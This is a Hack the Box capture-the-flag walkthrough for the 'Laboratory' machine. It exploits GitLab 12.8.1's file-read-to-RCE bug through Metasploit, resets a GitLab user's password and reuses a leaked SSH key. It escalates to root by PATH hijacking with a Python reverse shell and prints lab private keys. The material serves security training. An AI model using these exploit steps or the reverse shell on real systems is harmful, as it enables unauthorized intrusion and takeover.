Hack the Box — Laboratory
Reconnaissance
Run an nmap scan that scans all ports.
nmap -sC -sV -p- -oN allports 10.10.10.216
We get the following result.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
| 256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
|_ 256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after: 2024-03-03T10:39:28
| tls-alpn:
|_ http/1.1
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
We have three ports open.
- Port 22: running OpenSSH 8.2p1
- Port 80: running Apache httpd 2.4.41
- Port 443: running Apache httpd 2.4.41
Before we move on to enumeration, let’s make some mental notes about the scan results.
- The OpenSSH version that is running on port 22 is not associated with any critical vulnerabilities, so it’s unlikely that we gain initial access through this port, unless we find credentials.
- Ports 80 & 443 are running web servers. We see that port 80 redirects to port 443. The nmap scan also leaks the hostnames laboratory.htb and git.laboratory.htb. We’ll have to add them to our hosts file. Other than that, since port 80 redirects to port 443, we’ll perform our standard HTTP enumeration techniques on port 443.
Enumeration
Add the hostnames to the /etc/hosts.
10.10.10.216 laboratory.htb git.laboratory.htb
Visit the application in the browser.
View the page source. We don’t find anything useful.
Next, visit the other hostname we found.
This leads us to a Gitlab page which has both a Sign In and Register page. Since brute-force attacks are noisy, I only preform them as a last resort. Therefore, before we try to brute force valid user credentials on Gitlab, we’ll register an account and see if we can get anywhere with that.
Click Register. We get an error saying that the email domain is not authorized for sign up.
Since the application is hosted on the domain laboratory.htb, let’s see if it accepts that domain for emails: rkhal101@laboratory.htb.
We’re in! Clicking on Projects > Explore Projects. We see that there is a project called SecureWebsite.
Reviewing the code of the project, we don’t find anything useful that could possibly give us remote code execution.
Next, let’s check the GitLab version to see if it is associated to any known vulnerabilities. To check the version, click on the question mark drop down menu and select Help.
This tells us that the Gitlab version used is 12.8.1.
Update searchsploit and do a search on GitLab.
searchsploit -u
searchsploit gitlab
We see that version 12.9.0 (larger than our version) is vulnerable to an authenticated arbitrary file read. What that means is that it allows us to read files on the system with the permission that Gitlab is running as.
An arbitrary file read vulnerability on its own does not give us an RCE. Therefore, I did a bit of research about the vulnerability and found this page that turns the arbitrary file read into remote code execution.
The way the exploit works is that it first uses the arbitrary file read vulnerability to extract the Rails “secret_key_base” value. This is then used to sign an “experimentation_subject_id” cookie that GitLab uses internally for A/B testing. The cookie itself is vulnerable to a deserialization vulnerability, therefore, with a bit of manipulation, it can be used to gain code execution.
Initial Foothold
The bug report does provide the set of commands used to gain code execution,
GitHub – thewhiteh4t/cve-2020-10977: GitLab 12.9.0 Arbitrary File Read
┌─[puck@parrot-lt]─[~/htb/laboratory] └──╼ $python cve_2020_10977.py https://git.laboratory.htb puck 12345678 ---------------------------------- --- CVE-2020-10977 --------------- --- GitLab Arbitrary File Read --- --- 12.9.0 & Below --------------- ---------------------------------- [>] Found By : vakzz [ https://hackerone.com/reports/827052 ] [>] PoC By : thewhiteh4t [ https://twitter.com/thewhiteh4t ] [+] Target : https://git.laboratory.htb [+] Username : puck [+] Password : 12345678 [+] Project Names : ProjectOne, ProjectTwo [!] Trying to Login... [+] Login Successful! [!] Creating ProjectOne... [+] ProjectOne Created Successfully! [!] Creating ProjectTwo... [+] ProjectTwo Created Successfully! [>] Absolute Path to File : /etc/os-release [!] Creating an Issue... [+] Issue Created Successfully! [!] Moving Issue... [+] Issue Moved Successfully! [+] File URL : https://git.laboratory.htb/puck/ProjectTwo/uploads/477df9d0a2bda765e2f03d3543c8d09a/os-release > /etc/os-release ---------------------------------------- NAME="Ubuntu" VERSION="16.04.6 LTS (Xenial Xerus)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 16.04.6 LTS" VERSION_ID="16.04" HOME_URL="http://www.ubuntu.com/" SUPPORT_URL="http://help.ubuntu.com/" BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/" VERSION_CODENAME=xenial UBUNTU_CODENAME=xenial ---------------------------------------- [>] Absolute Path to File :
however, there is also a Metasploit module that exploits this vulnerability. We’ll be using the Metasploit module to run our attack.
Start msfconsole and run the following commands to configure the exploit options.
use exploit/multi/http/gitlab_file_read_rce
show options
set PASSWORD "Password1!"
set RHOSTS git.laboratory.htb
set RPORT 443
set SSL true
set USERNAME rkhal101
set LHOST tun0
set LPORT 4444
set VHOST git.laboratory.htb
exploit
We get a shell!
Run the shell command to see if we can get an interactive shell.
shell
It seems that we’re running with a very limited shell. We can run Gitlab rails console on this box, so we’ll use that to reset Dexter’s password. This is the user that committed the application we saw in the project list. The user’s email can be obtained by hovering over the user’s username.
dexter@laboratory.htb
We’ll try to use that email to reset the user’s password. We’ll run the following commands to reset the user’s password.
First, start a Ruby on Rails console.
gitlab-rails console -e production
This will take about a minute to load. Next, find the Dexter user using his email.
user = User.find_by(email: 'dexter@laboratory.htb')
This gives us a nil output saying it didn’t find the user (it’s possible that the user is not registered under that email). So let’s try the other command listed in the link.
user = User.where(id: 1).first
This works. We get the following output stating that the user’s username is dexter.
user = User.where(id: 1).firstirb(main):002:0> user = User.where(id: 1).first user = User.where(id: 1).first => #<User id:1 @dexter>
Next, change the user’s password and save the changes.
user.password = 'secret_pass'
user.password_confirmation = 'secret_pass'
user.save!
Now we should be able to log into Dexter’s account on Gitlab with the username “dexter” and the password “secret_pass”.
Looking at the projects under Dexter’s account, we see another project called SecureDocker.
Looking through the code of the project, we find an SSH private key!
Copy and paste the private key into a file called id_rsa on the attack machine and restrict the permissions on the file.
┌─[puck@parrot-lt]─[~/htb/laboratory] └──╼ $cat id_rsa -----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY----- ┌─[puck@parrot-lt]─[~/htb/laboratory]
chmod 600 id_rsa
Use the key to SSH into Dexter’s account.
ssh -i id_rsa dexter@10.10.10.216
We’re in!
Grab the user.txt flag.
Privilege Escalation
List all the files on the system that have the SUID bit set.
find / -perm /4000 2>/dev/null
The following entry sticks out. It seems to be a custom made binary.
/usr/local/bin/docker-security
Looking at the permissions, we see that the file is owned by root but as the dexter user we’re able to read and execute the file. Since the SUID bit is set on this file, we’re able to run the file with effective permissions of the file owner, which is root.
dexter@laboratory:/usr/local/bin$ ls -la docker-security
-rwsr-xr-x 1 root dexter 16720 Aug 28 14:52 docker-security
Let’s run the file to see what it is doing.
dexter@laboratory:/usr/local/bin$ docker-security
We get nothing. Next, let’s run the ltrace program on the file to see what system commands are getting called.
ltrace docker-security
We see that it’s running the chmod command, however, it doesn’t specify the full path. Therefore, we can use that to our advantage and have it run a malicious chmod program that we control.
In the tmp folder (which we have write access to), create a chmod file and add a python reverse shell to it (taken from pentestermonkey).
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.45",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Give it execute rights.
chmod +x chmod
Set the path directory to include the tmp directory.
PATH=/tmp:$PATH
This way when we run the docker-security program, it’ll look for the chmod program in the tmp directory first and execute our reverse shell.
Setup a netcat listener to receive the reverse shell.
nc -nlvp 7777
Run the docker-security program.
/usr/local/bin/docker-security
We get a shell!
Grab the root.txt flag.
Lessons Learned
To gain an initial foothold on the box, we exploited two vulnerabilities:
- Known RCE vulnerability in Gitlab software. The version of Gitlab used is vulnerable to a known code execution vulnerability. Exploiting this vulnerability allowed us to gain access to the server that Gitlab is installed on. The Gitlab software should have been updated to the latest non-vulnerable version.
- SSH credentials committed to Gitlab. Once we gained access to the server, we were able to reset Dexter’s Gitlab credentials. We then used these credentials to log into Dexter’s Gitlab account. There we found another project that contained Dexter’s SSH key. We then used this key to gain access to Dexter’s system account. It is a security best practice to never store credentials in Gitlab. More security should be in place in order to educate developers on security best practices.
To escalate privileges on the box, we exploited one vulnerability:
- Use of relative path to call a program in an SUID binary. We found that the docker-security binary had the SUID bit set. Looking at the commands that the binary performs, we found that it calls the chmod program without specifying the full path. Therefore, by adding a new path to the PATH environment variable that contains our malicious chmod program, we were able to trick the docker-security binary to execute the malicious chmod program instead of the real one. Since the binary has the SUID bit set and is owned by root, we were able to escalate our privileges to root.
┌─[puck@parrot-lt]─[~/htb/laboratory] └──╼ $cat id_rsa_root -----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY----- ┌─[puck@parrot-lt]─[~/htb/laboratory]
┌─[puck@parrot-lt]─[~/htb/laboratory] └──╼ $ssh -i id_rsa_root root@10.10.10.216 root@laboratory:~# hostnamectl Static hostname: laboratory Icon name: computer-vm Chassis: vm Machine ID: 3310e4f70e634eed9586f134839b318d Boot ID: 97af0216bffd4aaa997446416f50af97 Virtualization: vmware Operating System: Ubuntu 20.04.1 LTS Kernel: Linux 5.4.0-42-generic Architecture: x86-64 root@laboratory:~#